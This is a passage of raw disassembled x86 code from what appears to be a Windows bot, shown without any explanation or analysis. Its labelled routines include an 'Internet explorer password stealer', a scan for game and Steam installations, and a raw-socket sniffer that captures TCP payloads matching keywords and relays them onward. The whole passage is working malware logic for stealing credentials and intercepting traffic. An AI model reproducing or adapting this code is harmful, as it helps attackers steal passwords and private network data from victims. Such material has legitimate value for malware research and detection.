aE161255a ; "e161255a" lea eax, [ebp-0A48h] push eax call dword_417108 ; lstrcmp test eax, eax jnz loc_4159E0 push offset aStringindex ; "StringIndex" lea eax, [ebp-210h] push eax call sub_416BA8 ; strstr pop ecx pop ecx test eax, eax jnz loc_4159E0 push offset dword_41D43C lea eax, [ebp-210h] push eax call sub_416BA8 ; strstr pop ecx pop ecx test eax, eax jz short loc_4158A4 push offset dword_41D43C lea eax, [ebp-210h] push eax call sub_416BA8 ; strstr pop ecx pop ecx and byte ptr [eax], 0 loc_4158A4: ; CODE XREF: sub_414EF4+998j push 8 lea eax, [ebp-210h] push eax lea eax, [ebp-0EE0h] push eax call dword_417100 ; lstrcpyn push offset dword_41D434 lea eax, [ebp-0EE0h] push eax call sub_416BA8 ; strstr pop ecx pop ecx test eax, eax jnz short loc_415938 push offset dword_41D42C lea eax, [ebp-0EE0h] push eax call sub_416BA8 ; strstr pop ecx pop ecx test eax, eax jnz short loc_415938 mov eax, [ebp-214h] inc eax mov [ebp-214h], eax push 3E8h call dword_41709C ; Sleep movsx eax, byte ptr [ebp-0A57h] test eax, eax jnz short loc_415933 lea eax, [ebp-9FCh] push eax lea eax, [ebp-210h] push eax push dword ptr [ebp-214h] push offset dword_41D3E4 lea eax, [ebp-0BECh] push eax call sub_40D53F add esp, 14h loc_415933: ; CODE XREF: sub_414EF4+A15j jmp loc_4159E0 ; --------------------------------------------------------------------------- loc_415938: ; CODE XREF: sub_414EF4+9DBj ; sub_414EF4+9F2j push offset byte_41DE30 lea eax, [ebp-0EE0h] push eax call dword_4170FC ; lstrcpy push offset dword_41D49C lea eax, [ebp-9FCh] push eax call sub_416BA8 ; strstr pop ecx pop ecx test eax, eax jz short loc_415999 push offset dword_41D49C lea eax, [ebp-9FCh] push eax call sub_416BA8 ; strstr pop ecx pop ecx inc eax push eax lea eax, [ebp-0EE0h] push eax call dword_4170FC ; lstrcpy push offset dword_41D49C lea eax, [ebp-9FCh] push eax call sub_416BA8 ; strstr pop ecx pop ecx and byte ptr [eax], 0 loc_415999: ; CODE XREF: sub_414EF4+A6Bj mov eax, [ebp-214h] inc eax mov [ebp-214h], eax push 3E8h call dword_41709C ; Sleep lea eax, [ebp-0EE0h] push eax lea eax, [ebp-9FCh] push eax lea eax, [ebp-210h] push eax push dword ptr [ebp-214h] push offset dword_41D388 lea eax, [ebp-0BECh] push eax call sub_40D53F add esp, 18h loc_4159E0: ; CODE XREF: sub_414EF4+962j ; sub_414EF4+97Dj ... push 200h push 0 lea eax, [ebp-210h] push eax call sub_416B6A ; memset add esp, 0Ch push 200h push 0 lea eax, [ebp-9FCh] push eax call sub_416B6A ; memset add esp, 0Ch jmp loc_4152C7 ; --------------------------------------------------------------------------- loc_415A11: ; CODE XREF: sub_414EF4+410j mov byte ptr [ebp-4], 2 cmp dword ptr [ebp-0E14h], 0 jz short loc_415A30 mov eax, [ebp-0E14h] mov ecx, [ebp-0E14h] mov ecx, [ecx] push eax call dword ptr [ecx+8] loc_415A30: ; CODE XREF: sub_414EF4+B28j jmp loc_4151DD ; --------------------------------------------------------------------------- loc_415A35: ; CODE XREF: sub_414EF4+326j mov byte ptr [ebp-4], 1 cmp dword ptr [ebp-0DF8h], 0 jz short loc_415A54 mov eax, [ebp-0DF8h] mov ecx, [ebp-0DF8h] mov ecx, [ecx] push eax call dword ptr [ecx+8] loc_415A54: ; CODE XREF: sub_414EF4+B4Cj jmp loc_4150CB ; --------------------------------------------------------------------------- loc_415A59: ; CODE XREF: sub_414EF4+20Ej ; sub_414EF4+220j mov al, [ebp-0A14h] mov [ebp-0A54h], al push 3E8h call dword_41709C ; Sleep push dword ptr [ebp-214h] mov eax, [ebp-0BF0h] push dword ptr [eax] push offset unk_41D34C lea eax, [ebp-0BECh] push eax call sub_40D53F add esp, 10h push dword ptr [ebp-0BF0h] call sub_409763 pop ecx and dword ptr [ebp-0FD8h], 0 and byte ptr [ebp-4], 0 cmp dword ptr [ebp-10h], 0 jz short loc_415ABB mov eax, [ebp-10h] mov ecx, [ebp-10h] mov ecx, [ecx] push eax call dword ptr [ecx+8] loc_415ABB: ; CODE XREF: sub_414EF4+BB9j or dword ptr [ebp-4], 0FFFFFFFFh cmp dword ptr [ebp-0A00h], 0 jz short loc_415ADA mov eax, [ebp-0A00h] mov ecx, [ebp-0A00h] mov ecx, [ecx] push eax call dword ptr [ecx+8] loc_415ADA: ; CODE XREF: sub_414EF4+BD2j mov eax, [ebp-0FD8h] loc_415AE0: ; CODE XREF: sub_414EF4+B9j ; sub_414EF4+19Cj mov ecx, [ebp-0Ch] mov large fs:0, ecx pop edi pop esi leave retn 4 sub_414EF4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415AF0 proc near ; CODE XREF: sub_40A9CF+7Fp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_41DE80, 0 jnz short loc_415AFF jmp short locret_415B3D ; --------------------------------------------------------------------------- loc_415AFF: ; CODE XREF: sub_415AF0+Bj push 1A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_415B15 jmp short locret_415B3D ; --------------------------------------------------------------------------- loc_415B15: ; CODE XREF: sub_415AF0+21j push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_405F67 pop ecx pop ecx push offset aInternetExplor ; "Internet explorer password stealer" push 0 push [ebp+var_4] push offset sub_414EF4 call sub_4095A4 add esp, 10h locret_415B3D: ; CODE XREF: sub_415AF0+Dj ; sub_415AF0+23j leave retn sub_415AF0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415B3F proc near ; CODE XREF: .data:00416FB6p ; .data:00416FBFp ... var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] cmp dword ptr [eax], 0 jz short locret_415B5E mov eax, [ebp+var_4] mov eax, [eax] mov ecx, [ebp+var_4] mov ecx, [ecx] mov ecx, [ecx] push eax call dword ptr [ecx+8] locret_415B5E: ; CODE XREF: sub_415B3F+Dj leave retn sub_415B3F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415B60 proc near ; DATA XREF: sub_415DFD+35o var_5D8 = dword ptr -5D8h var_5D4 = dword ptr -5D4h var_5D0 = dword ptr -5D0h var_5CC = dword ptr -5CCh var_5C8 = dword ptr -5C8h var_5C4 = dword ptr -5C4h var_5C0 = dword ptr -5C0h var_5BC = dword ptr -5BCh var_5B8 = dword ptr -5B8h var_5B4 = byte ptr -5B4h var_41C = byte ptr -41Ch var_410 = dword ptr -410h var_40C = dword ptr -40Ch var_408 = dword ptr -408h var_404 = dword ptr -404h var_400 = byte ptr -400h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 5D8h push 1A7h push [ebp+arg_0] lea eax, [ebp+var_5B8] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx and [ebp+var_5C4], 0 and [ebp+var_410], 0 and [ebp+var_40C], 0 and [ebp+var_408], 0 and [ebp+var_404], 0 and [ebp+var_5BC], 0 jmp short loc_415BC2 ; --------------------------------------------------------------------------- loc_415BB5: ; CODE XREF: sub_415B60:loc_415C50j mov eax, [ebp+var_5BC] inc eax mov [ebp+var_5BC], eax loc_415BC2: ; CODE XREF: sub_415B60+53j cmp [ebp+var_5BC], 0FFFFh jnb loc_415C55 push 400h lea eax, [ebp+var_400] push eax push [ebp+var_5BC] call dword_4171E4 ; GetWindowTextA push 7 push offset aUnreal3 ; "Unreal3" lea eax, [ebp+var_400] push eax call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz short loc_415C0E mov [ebp+var_410], 1 loc_415C0E: ; CODE XREF: sub_415B60+A2j push offset aWorldOfWarcraf ; "World Of Warcraft" lea eax, [ebp+var_400] push eax call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jnz short loc_415C2F mov [ebp+var_408], 1 loc_415C2F: ; CODE XREF: sub_415B60+C3j push offset aConquer ; "[Conquer]" lea eax, [ebp+var_400] push eax call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jnz short loc_415C50 mov [ebp+var_404], 1 loc_415C50: ; CODE XREF: sub_415B60+E4j jmp loc_415BB5 ; --------------------------------------------------------------------------- loc_415C55: ; CODE XREF: sub_415B60+6Cj and [ebp+var_5C0], 0 lea eax, [ebp+var_5C0] push eax push 20019h push 0 push offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\VisualStudio\\6.0\\Set"... push 80000002h call dword_417008 ; RegOpenKeyExA test eax, eax jnz short loc_415C88 mov [ebp+var_5C4], 1 loc_415C88: ; CODE XREF: sub_415B60+11Cj push [ebp+var_5C0] call dword_417028 ; RegCloseKey and [ebp+var_5C0], 0 lea eax, [ebp+var_5C0] push eax push 20019h push 0 push offset aSoftwareValveS ; "Software\\Valve\\Steam" push 80000001h call dword_417008 ; RegOpenKeyExA test eax, eax jnz short loc_415CC7 mov [ebp+var_40C], 1 loc_415CC7: ; CODE XREF: sub_415B60+15Bj push [ebp+var_5C0] call dword_417028 ; RegCloseKey movsx eax, [ebp+var_41C] test eax, eax jz short loc_415D1E cmp [ebp+var_410], 0 jnz short loc_415D1E cmp [ebp+var_5C4], 0 jnz short loc_415D1E cmp [ebp+var_40C], 0 jnz short loc_415D1E cmp [ebp+var_408], 0 jnz short loc_415D1E cmp [ebp+var_404], 0 jnz short loc_415D1E push [ebp+var_5B8] call sub_409763 pop ecx xor eax, eax jmp locret_415DF9 ; --------------------------------------------------------------------------- loc_415D1E: ; CODE XREF: sub_415B60+17Cj ; sub_415B60+185j ... cmp [ebp+var_404], 0 jz short loc_415D33 mov [ebp+var_5C8], offset aYes ; "Yes" jmp short loc_415D3D ; --------------------------------------------------------------------------- loc_415D33: ; CODE XREF: sub_415B60+1C5j mov [ebp+var_5C8], offset aNo ; "No" loc_415D3D: ; CODE XREF: sub_415B60+1D1j cmp [ebp+var_408], 0 jz short loc_415D52 mov [ebp+var_5CC], offset aYes ; "Yes" jmp short loc_415D5C ; --------------------------------------------------------------------------- loc_415D52: ; CODE XREF: sub_415B60+1E4j mov [ebp+var_5CC], offset aNo ; "No" loc_415D5C: ; CODE XREF: sub_415B60+1F0j cmp [ebp+var_40C], 0 jz short loc_415D71 mov [ebp+var_5D0], offset aYes ; "Yes" jmp short loc_415D7B ; --------------------------------------------------------------------------- loc_415D71: ; CODE XREF: sub_415B60+203j mov [ebp+var_5D0], offset aNo ; "No" loc_415D7B: ; CODE XREF: sub_415B60+20Fj cmp [ebp+var_5C4], 0 jz short loc_415D90 mov [ebp+var_5D4], offset aYes ; "Yes" jmp short loc_415D9A ; --------------------------------------------------------------------------- loc_415D90: ; CODE XREF: sub_415B60+222j mov [ebp+var_5D4], offset aNo ; "No" loc_415D9A: ; CODE XREF: sub_415B60+22Ej cmp [ebp+var_410], 0 jz short loc_415DAF mov [ebp+var_5D8], offset aYes ; "Yes" jmp short loc_415DB9 ; --------------------------------------------------------------------------- loc_415DAF: ; CODE XREF: sub_415B60+241j mov [ebp+var_5D8], offset aNo ; "No" loc_415DB9: ; CODE XREF: sub_415B60+24Dj push [ebp+var_5C8] push [ebp+var_5CC] push [ebp+var_5D0] push [ebp+var_5D4] push [ebp+var_5D8] push offset dword_41D5CC lea eax, [ebp+var_5B4] push eax call sub_40D53F add esp, 1Ch push [ebp+var_5B8] call sub_409763 pop ecx xor eax, eax locret_415DF9: ; CODE XREF: sub_415B60+1B9j leave retn 4 sub_415B60 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415DFD proc near ; CODE XREF: sub_40A9CF+12FFp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 1A7h call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_415E17 jmp short locret_415E3F ; --------------------------------------------------------------------------- loc_415E17: ; CODE XREF: sub_415DFD+16j push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_405F67 pop ecx pop ecx push offset aListingInteres ; "Listing interesting processes" push 0 push [ebp+var_4] push offset sub_415B60 call sub_4095A4 add esp, 10h locret_415E3F: ; CODE XREF: sub_415DFD+18j leave retn sub_415DFD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415E41 proc near ; CODE XREF: sub_415EB7+37p ; sub_415EB7+59p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_415E52 ; --------------------------------------------------------------------------- loc_415E4B: ; CODE XREF: sub_415E41+69j ; sub_415E41:loc_415EB1j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_415E52: ; CODE XREF: sub_415E41+8j mov eax, [ebp+var_4] shl eax, 1 mov ecx, [ebp+arg_0] cmp dword ptr [ecx+eax*4], 0 jz short loc_415EB3 mov eax, [ebp+var_4] shl eax, 1 mov ecx, [ebp+arg_0] push dword ptr [ecx+eax*4] push [ebp+arg_8] push [ebp+arg_4] call sub_407ACA add esp, 0Ch test eax, eax jz short loc_415EB1 mov eax, [ebp+var_4] shl eax, 1 mov ecx, [ebp+arg_0] cmp dword ptr [ecx+eax*4+4], 0 jz short loc_415EAC mov eax, [ebp+var_4] shl eax, 1 mov ecx, [ebp+arg_0] push dword ptr [ecx+eax*4+4] push [ebp+arg_8] push [ebp+arg_4] call sub_407ACA add esp, 0Ch test eax, eax jz short loc_415EAC jmp short loc_415E4B ; --------------------------------------------------------------------------- loc_415EAC: ; CODE XREF: sub_415E41+49j ; sub_415E41+67j push 1 pop eax jmp short locret_415EB5 ; --------------------------------------------------------------------------- loc_415EB1: ; CODE XREF: sub_415E41+3Aj jmp short loc_415E4B ; --------------------------------------------------------------------------- loc_415EB3: ; CODE XREF: sub_415E41+1Dj xor eax, eax locret_415EB5: ; CODE XREF: sub_415E41+6Ej leave retn sub_415E41 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415EB7 proc near ; CODE XREF: sub_415F69+420p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp cmp [ebp+arg_C], 0 jz short loc_415EDD push [ebp+arg_C] push [ebp+arg_4] push [ebp+arg_0] call sub_407ACA add esp, 0Ch test eax, eax jz short loc_415EDD push 1 pop eax jmp loc_415F67 ; --------------------------------------------------------------------------- loc_415EDD: ; CODE XREF: sub_415EB7+7j ; sub_415EB7+1Cj cmp [ebp+arg_8], 1 jb short loc_415EFF push [ebp+arg_4] push [ebp+arg_0] push offset off_41D6FC call sub_415E41 add esp, 0Ch test eax, eax jz short loc_415EFF push 1 pop eax jmp short loc_415F67 ; --------------------------------------------------------------------------- loc_415EFF: ; CODE XREF: sub_415EB7+2Aj ; sub_415EB7+41j cmp [ebp+arg_8], 2 jb short loc_415F21 push [ebp+arg_4] push [ebp+arg_0] push offset off_41D758 call sub_415E41 add esp, 0Ch test eax, eax jz short loc_415F21 push 1 pop eax jmp short loc_415F67 ; --------------------------------------------------------------------------- loc_415F21: ; CODE XREF: sub_415EB7+4Cj ; sub_415EB7+63j cmp [ebp+arg_8], 3 jb short loc_415F43 push [ebp+arg_4] push [ebp+arg_0] push offset off_41D7CC call sub_415E41 add esp, 0Ch test eax, eax jz short loc_415F43 push 1 pop eax jmp short loc_415F67 ; --------------------------------------------------------------------------- loc_415F43: ; CODE XREF: sub_415EB7+6Ej ; sub_415EB7+85j cmp [ebp+arg_8], 4 jb short loc_415F65 push [ebp+arg_4] push [ebp+arg_0] push offset off_41D810 call sub_415E41 add esp, 0Ch test eax, eax jz short loc_415F65 push 1 pop eax jmp short loc_415F67 ; --------------------------------------------------------------------------- loc_415F65: ; CODE XREF: sub_415EB7+90j ; sub_415EB7+A7j xor eax, eax loc_415F67: ; CODE XREF: sub_415EB7+21j ; sub_415EB7+46j ... pop ebp retn sub_415EB7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415F69 proc near ; DATA XREF: sub_41665C+A6o var_19B8 = dword ptr -19B8h var_19B4 = byte ptr -19B4h var_18B4 = dword ptr -18B4h var_18B0 = byte ptr -18B0h var_17B0 = dword ptr -17B0h var_17AC = dword ptr -17ACh var_17A8 = byte ptr -17A8h var_1628 = dword ptr -1628h var_1624 = dword ptr -1624h var_1620 = byte ptr -1620h var_161C = dword ptr -161Ch var_1618 = dword ptr -1618h var_1614 = dword ptr -1614h var_1610 = dword ptr -1610h var_160C = byte ptr -160Ch var_140C = byte ptr -140Ch var_127E = byte ptr -127Eh var_1278 = byte ptr -1278h var_1274 = byte ptr -1274h var_1268 = word ptr -1268h var_1264 = byte ptr -1264h var_1263 = byte ptr -1263h var_125C = dword ptr -125Ch var_1258 = word ptr -1258h var_1254 = byte ptr -1254h var_1154 = dword ptr -1154h var_1150 = dword ptr -1150h var_114C = byte ptr -114Ch var_114B = byte ptr -114Bh var_104C = dword ptr -104Ch var_1048 = word ptr -1048h var_1044 = dword ptr -1044h var_1038 = byte ptr -1038h var_1037 = byte ptr -1037h var_1030 = byte ptr -1030h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 19B8h call sub_416BC0 push edi push 3ABh push [ebp+arg_0] lea eax, [ebp+var_1614] push eax call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_0] call sub_416B4C ; free pop ecx movsx eax, [ebp+var_160C] neg eax sbb eax, eax lea ecx, [ebp+var_160C] and eax, ecx mov [ebp+var_1624], eax push 0 push 3 push 2 call dword_417218 ; socket mov [ebp+var_104C], eax cmp [ebp+var_104C], 0FFFFFFFFh jnz short loc_415FDE push [ebp+var_1614] call sub_409763 pop ecx xor eax, eax jmp loc_416657 ; --------------------------------------------------------------------------- loc_415FDE: ; CODE XREF: sub_415F69+60j push 0FFh lea eax, [ebp+var_1254] push eax call dword_417260 ; gethostname lea eax, [ebp+var_1254] push eax call dword_41723C ; gethostbyname mov [ebp+var_1154], eax cmp [ebp+var_1154], 0 jnz short loc_41602B push [ebp+var_104C] call dword_417230 ; closesocket push [ebp+var_1614] call sub_409763 pop ecx xor eax, eax jmp loc_416657 ; --------------------------------------------------------------------------- loc_41602B: ; CODE XREF: sub_415F69+A1j push 10h push 0 lea eax, [ebp+var_1048] push eax call sub_416B6A ; memset add esp, 0Ch mov [ebp+var_1048], 2 mov eax, [ebp+var_1154] mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+var_1044], eax push 10h lea eax, [ebp+var_1048] push eax push [ebp+var_104C] call dword_417208 ; bind cmp eax, 0FFFFFFFFh jnz short loc_416093 push [ebp+var_104C] call dword_417230 ; closesocket push [ebp+var_1614] call sub_409763 pop ecx xor eax, eax jmp loc_416657 ; --------------------------------------------------------------------------- loc_416093: ; CODE XREF: sub_415F69+109j mov [ebp+var_1150], 1 push 0 push 0 lea eax, [ebp+var_1620] push eax push 0 push 0 push 4 lea eax, [ebp+var_1150] push eax push 98000001h push [ebp+var_104C] call dword_41725C ; WSAIoctl cmp eax, 0FFFFFFFFh jnz short loc_4160EA push [ebp+var_104C] call dword_417230 ; closesocket push [ebp+var_1614] call sub_409763 pop ecx xor eax, eax jmp loc_416657 ; --------------------------------------------------------------------------- loc_4160EA: ; CODE XREF: sub_415F69+160j lea eax, [ebp+var_1030] mov [ebp+var_161C], eax and [ebp+var_1628], 0 and [ebp+var_4], 0 push [ebp+var_1610] mov eax, [ebp+var_1614] push dword ptr [eax] push offset unk_41D9DC lea eax, [ebp+var_140C] push eax call sub_40D53F add esp, 10h and [ebp+var_1274], 0 and [ebp+var_114C], 0 push 3Fh pop ecx xor eax, eax lea edi, [ebp+var_114B] rep stosd stosw stosb and [ebp+var_1264], 0 xor eax, eax lea edi, [ebp+var_1263] stosd stosb lea eax, [ebp+var_114C] push eax call sub_40CF25 push eax call sub_4044F7 pop ecx pop ecx lea eax, [ebp+var_1264] push eax call sub_40CF25 push eax call sub_4045B2 pop ecx pop ecx lea eax, [ebp+var_114C] push eax call dword_417244 ; inet_addr mov [ebp+var_1618], eax lea eax, [ebp+var_1264] push eax call sub_416B9C ; atoi pop ecx mov [ebp+var_1268], ax and [ebp+var_1038], 0 xor eax, eax lea edi, [ebp+var_1037] stosd stosb lea eax, [ebp+var_1038] push eax call sub_40CF25 push eax call sub_404552 pop ecx pop ecx mov eax, [ebp+var_1044] mov [ebp+var_125C], eax lea eax, [ebp+var_1038] push eax call sub_416B9C ; atoi pop ecx mov [ebp+var_1258], ax loc_4161E6: ; CODE XREF: sub_415F69+305j ; sub_415F69+33Aj ... push 0 push 1028h lea eax, [ebp+var_1030] push eax push [ebp+var_104C] call dword_417248 ; recv mov [ebp+var_17AC], eax mov eax, [ebp+var_1614] cmp dword ptr [eax+4], 0 jz short loc_416217 jmp loc_416637 ; --------------------------------------------------------------------------- loc_416217: ; CODE XREF: sub_415F69+2A7j cmp [ebp+var_17AC], 0FFFFFFFFh jz short loc_416229 cmp [ebp+var_17AC], 0 jnz short loc_41622E loc_416229: ; CODE XREF: sub_415F69+2B5j jmp loc_416637 ; --------------------------------------------------------------------------- loc_41622E: ; CODE XREF: sub_415F69+2BEj mov eax, [ebp+var_17AC] and [ebp+eax+var_1030], 0 mov eax, [ebp+var_161C] mov al, [eax] and al, 0Fh movzx eax, al mov ecx, [ebp+var_161C] lea eax, [ecx+eax*4] mov [ebp+var_1628], eax mov eax, [ebp+var_1628] lea ecx, [ebp+var_1030] sub eax, ecx cmp eax, [ebp+var_17AC] jb short loc_416273 jmp loc_4161E6 ; --------------------------------------------------------------------------- loc_416273: ; CODE XREF: sub_415F69+303j mov eax, [ebp+var_1628] mov al, [eax+0Ch] shr al, 4 and al, 0Fh movzx eax, al mov ecx, [ebp+var_1628] lea eax, [ecx+eax*4] mov [ebp+var_4], eax mov eax, [ebp+var_4] lea ecx, [ebp+var_1030] sub eax, ecx cmp eax, [ebp+var_17AC] jb short loc_4162A8 jmp loc_4161E6 ; --------------------------------------------------------------------------- loc_4162A8: ; CODE XREF: sub_415F69+338j push [ebp+var_4] call sub_416B40 ; strlen pop ecx mov [ebp+var_17AC], eax mov eax, [ebp+var_161C] movzx eax, byte ptr [eax+9] cmp eax, 6 jnz loc_416632 movsx eax, [ebp+var_127E] test eax, eax jz short loc_4162EB mov eax, [ebp+var_161C] mov eax, [eax+10h] cmp eax, [ebp+var_125C] jz short loc_4162EB jmp loc_4161E6 ; --------------------------------------------------------------------------- loc_4162EB: ; CODE XREF: sub_415F69+36Aj ; sub_415F69+37Bj movsx eax, [ebp+var_1278] test eax, eax jz short loc_41630C mov eax, [ebp+var_161C] mov eax, [eax+0Ch] cmp eax, [ebp+var_125C] jz short loc_41630C jmp loc_4161E6 ; --------------------------------------------------------------------------- loc_41630C: ; CODE XREF: sub_415F69+38Bj ; sub_415F69+39Cj mov eax, [ebp+var_1628] mov ax, [eax] push eax call dword_417238 ; htons movzx eax, ax movzx ecx, [ebp+var_1258] cmp eax, ecx jnz short loc_416340 mov eax, [ebp+var_161C] mov eax, [eax+0Ch] cmp eax, [ebp+var_125C] jnz short loc_416340 jmp loc_4161E6 ; --------------------------------------------------------------------------- loc_416340: ; CODE XREF: sub_415F69+3BFj ; sub_415F69+3D0j mov eax, [ebp+var_1628] mov ax, [eax] push eax call dword_417238 ; htons movzx eax, ax movzx ecx, [ebp+var_1268] cmp eax, ecx jnz short loc_416374 mov eax, [ebp+var_161C] mov eax, [eax+0Ch] cmp eax, [ebp+var_1618] jnz short loc_416374 jmp loc_4161E6 ; --------------------------------------------------------------------------- loc_416374: ; CODE XREF: sub_415F69+3F3j ; sub_415F69+404j push [ebp+var_1624] push [ebp+var_1610] push [ebp+var_17AC] push [ebp+var_4] call sub_415EB7 add esp, 10h test eax, eax jz loc_416632 and [ebp+var_19B8], 0 jmp short loc_4163AF ; --------------------------------------------------------------------------- loc_4163A2: ; CODE XREF: sub_415F69:loc_416413j mov eax, [ebp+var_19B8] inc eax mov [ebp+var_19B8], eax loc_4163AF: ; CODE XREF: sub_415F69+437j mov eax, [ebp+var_19B8] cmp eax, [ebp+var_17AC] jnb short loc_416415 mov eax, [ebp+var_4] add eax, [ebp+var_19B8] movsx eax, byte ptr [eax] cmp eax, 0Dh jnz short loc_4163DA mov eax, [ebp+var_4] add eax, [ebp+var_19B8] mov byte ptr [eax], 2Dh loc_4163DA: ; CODE XREF: sub_415F69+463j mov eax, [ebp+var_4] add eax, [ebp+var_19B8] movsx eax, byte ptr [eax] cmp eax, 0Ah jnz short loc_4163F7 mov eax, [ebp+var_4] add eax, [ebp+var_19B8] mov byte ptr [eax], 3Eh loc_4163F7: ; CODE XREF: sub_415F69+480j mov eax, [ebp+var_4] add eax, [ebp+var_19B8] movsx eax, byte ptr [eax] test eax, eax jnz short loc_416413 mov eax, [ebp+var_4] add eax, [ebp+var_19B8] mov byte ptr [eax], 2Eh loc_416413: ; CODE XREF: sub_415F69+49Cj jmp short loc_4163A2 ; --------------------------------------------------------------------------- loc_416415: ; CODE XREF: sub_415F69+452j and [ebp+var_19B8], 0 mov eax, [ebp+var_19B8] mov [ebp+var_17AC], eax jmp short loc_416437 ; --------------------------------------------------------------------------- loc_41642A: ; CODE XREF: sub_415F69+507j ; sub_415F69+51Aj ... mov eax, [ebp+var_19B8] inc eax mov [ebp+var_19B8], eax loc_416437: ; CODE XREF: sub_415F69+4BFj mov eax, [ebp+var_4] add eax, [ebp+var_19B8] movsx eax, byte ptr [eax] test eax, eax jnz short loc_41645F mov eax, [ebp+var_4] add eax, [ebp+var_17AC] mov ecx, [ebp+var_4] add ecx, [ebp+var_19B8] mov cl, [ecx] mov [eax], cl jmp short loc_4164AA ; --------------------------------------------------------------------------- loc_41645F: ; CODE XREF: sub_415F69+4DCj mov eax, [ebp+var_4] add eax, [ebp+var_19B8] movsx eax, byte ptr [eax] cmp eax, 7Fh jl short loc_416472 jmp short loc_41642A ; --------------------------------------------------------------------------- loc_416472: ; CODE XREF: sub_415F69+505j mov eax, [ebp+var_4] add eax, [ebp+var_19B8] movsx eax, byte ptr [eax] cmp eax, 1Fh jg short loc_416485 jmp short loc_41642A ; --------------------------------------------------------------------------- loc_416485: ; CODE XREF: sub_415F69+518j mov eax, [ebp+var_4] add eax, [ebp+var_17AC] mov ecx, [ebp+var_4] add ecx, [ebp+var_19B8] mov cl, [ecx] mov [eax], cl mov eax, [ebp+var_17AC] inc eax mov [ebp+var_17AC], eax jmp short loc_41642A ; --------------------------------------------------------------------------- loc_4164AA: ; CODE XREF: sub_415F69+4F4j cmp [ebp+var_17AC], 0 jnz short loc_4164B8 jmp loc_4161E6 ; --------------------------------------------------------------------------- loc_4164B8: ; CODE XREF: sub_415F69+548j push 100h mov eax, [ebp+var_161C] push dword ptr [eax+0Ch] call dword_41721C ; inet_ntoa push eax lea eax, [ebp+var_19B4] push eax call sub_407A56 add esp, 0Ch push 100h mov eax, [ebp+var_161C] push dword ptr [eax+10h] call dword_41721C ; inet_ntoa push eax lea eax, [ebp+var_18B0] push eax call sub_407A56 add esp, 0Ch mov eax, [ebp+var_1628] mov ax, [eax+2] push eax call dword_417238 ; htons movzx eax, ax push eax lea eax, [ebp+var_18B0] push eax mov eax, [ebp+var_1628] mov ax, [eax] push eax call dword_417238 ; htons movzx eax, ax push eax lea eax, [ebp+var_19B4] push eax push offset dword_41D9A8 lea eax, [ebp+var_17A8] push eax call sub_416B5E ; sprintf add esp, 18h mov [ebp+var_18B4], eax mov eax, 180h sub eax, [ebp+var_18B4] push eax push [ebp+var_4] mov eax, [ebp+var_18B4] lea eax, [ebp+eax+var_17A8] push eax call sub_407A56 add esp, 0Ch lea eax, [ebp+var_17A8] push eax push offset dword_418B64 lea eax, [ebp+var_140C] push eax call sub_40D53F add esp, 0Ch push 3E8h call dword_41709C ; Sleep mov eax, [ebp+var_1614] cmp dword ptr [eax+4], 0 jz short loc_4165AD jmp loc_416655 ; --------------------------------------------------------------------------- loc_4165AD: ; CODE XREF: sub_415F69+63Dj mov eax, 180h sub eax, [ebp+var_18B4] dec eax mov [ebp+var_17B0], eax loc_4165BF: ; CODE XREF: sub_415F69+6C7j mov eax, [ebp+var_17B0] cmp eax, [ebp+var_17AC] jnb short loc_416632 push 180h mov eax, [ebp+var_4] add eax, [ebp+var_17B0] push eax lea eax, [ebp+var_17A8] push eax call sub_407A56 add esp, 0Ch lea eax, [ebp+var_17A8] push eax push offset dword_418B64 lea eax, [ebp+var_140C] push eax call sub_40D53F add esp, 0Ch push 3E8h call dword_41709C ; Sleep mov eax, [ebp+var_1614] cmp dword ptr [eax+4], 0 jz short loc_41661F jmp short loc_416653 ; --------------------------------------------------------------------------- loc_41661F: ; CODE XREF: sub_415F69+6B2j mov eax, [ebp+var_17B0] add eax, 17Fh mov [ebp+var_17B0], eax jmp short loc_4165BF ; --------------------------------------------------------------------------- loc_416632: ; CODE XREF: sub_415F69+35Bj ; sub_415F69+42Aj ... jmp loc_4161E6 ; --------------------------------------------------------------------------- loc_416637: ; CODE XREF: sub_415F69+2A9j ; sub_415F69:loc_416229j ... push [ebp+var_104C] call dword_417230 ; closesocket push [ebp+var_1614] call sub_409763 pop ecx xor eax, eax jmp short loc_416657 ; --------------------------------------------------------------------------- loc_416653: ; CODE XREF: sub_415F69+6B4j jmp short loc_416637 ; --------------------------------------------------------------------------- loc_416655: ; CODE XREF: sub_415F69+63Fj jmp short loc_416637 ; --------------------------------------------------------------------------- loc_416657: ; CODE XREF: sub_415F69+70j ; 